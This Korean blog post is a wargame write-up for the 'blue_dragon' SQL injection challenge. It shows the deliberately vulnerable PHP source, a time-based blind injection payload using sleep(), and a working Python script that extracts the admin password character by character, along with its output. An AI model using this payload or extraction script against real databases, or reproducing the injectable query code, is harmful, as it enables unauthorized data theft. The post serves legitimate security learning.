드디어 용 시리즈의 마지막인 blue_dragon이다. 내가 바보임을 다시 한 번 깨달을 수 있었던 문제였다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
--------------------------------------------------------------------------------------
query : select id from prob_blue_dragon where id='' and pw=''
--------------------------------------------------------------------------------------

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>

단순히 필터링만 보자면 '(싱글쿼터)와 여태까지 싱글쿼터가 필터링이었을 때 사용했던 \을 사용하지 못하도록 되어 있다. 그런데 필터링을 걸어 둔 위치가 좀 다르다. 쿼리를 실행시킨 후에 필터링을 검사하고 이에 대한 결과를 출력한다.

그래서 '를 사용한다면 쿼리의 결과를 Hello admin의 형태로는 확인할 수 없겠지만, 어찌됬든 쿼리가 실행은 되므로 Time Based Blind SQL Injection을 사용할 수 있다. 테스트로 id=a&pw=' or id='admin' and if(length(pw)>0, sleep(3), 0)#을 입력 해 보았다. 그랬더니 약 3초 간 지연 후에 내가 입력 한 쿼리와 함께 No Hack ~_~을 출력하는 결과 화면을 볼 수 있었다. 정상적으로 쿼리가 동작하므로 pw의 길이와 값을 알아내기 위해 아래와 같이 코드를 구현했다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import time

flag = ""
length = 0

url = "http://los.rubiya.kr/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?id=a&pw=' or id='admin' and"
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find length of the password"

for i in range(0, 40):
	try:
		start = time.time()
		query = url + " if(length(pw) = " + str(i) + ", sleep(3), 0)%23"
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"
		continue
	if (time.time() - start) > 3:
		length = i
		break	

print "[+] Found length : ", length

print "[+] Find password"
	
for j in range(1, length + 1):
	for i in range(48, 123):
		try:
			start = time.time()
			query = url + " if(substr(pw, " + str(j) + ", 1) = " + hex(i) + ", sleep(3), 0)%23"
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if (time.time() - start) > 3:
			flag += chr(i)
			print "[+] Found " + str(j), ":", flag
			break

print "[+] Found password : ", flag
print "[+] End"

내 서버가 너무 느려서 도대체 결과가 안나오길래 쿼리가 잘못된 것인가 고민했었다. 그런데 학교 다닐 때 쓰던 동아리 서버에서 돌렸더니 너무 잘돌아간다 ㅎㅎ 서버를 바꾸던가 해야지 원… 어찌됬건 결과는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ python ex.py 
[+] Start
[+] Find length of the password
[+] Found length :  8
[+] Find password
[+] Found 1 : D
[+] Found 2 : D9
[+] Found 3 : D94
[+] Found 4 : D948
[+] Found 5 : D948B
[+] Found 6 : D948B8
[+] Found 7 : D948B8A
[+] Found 8 : D948B8A0
[+] Found password :  D948B8A0
[+] End

역시나 소문자로 입력 해 주면 문제를 풀 수 있다.

1
?pw=d948b8a0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
---------------------------------------------------------------------------------------------------
query : select id from prob_blue_dragon where id='' and pw='d948b8a0'
---------------------------------------------------------------------------------------------------

BLUE_DRAGON Clear!
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>

1
BLUE_DRAGON Clear!!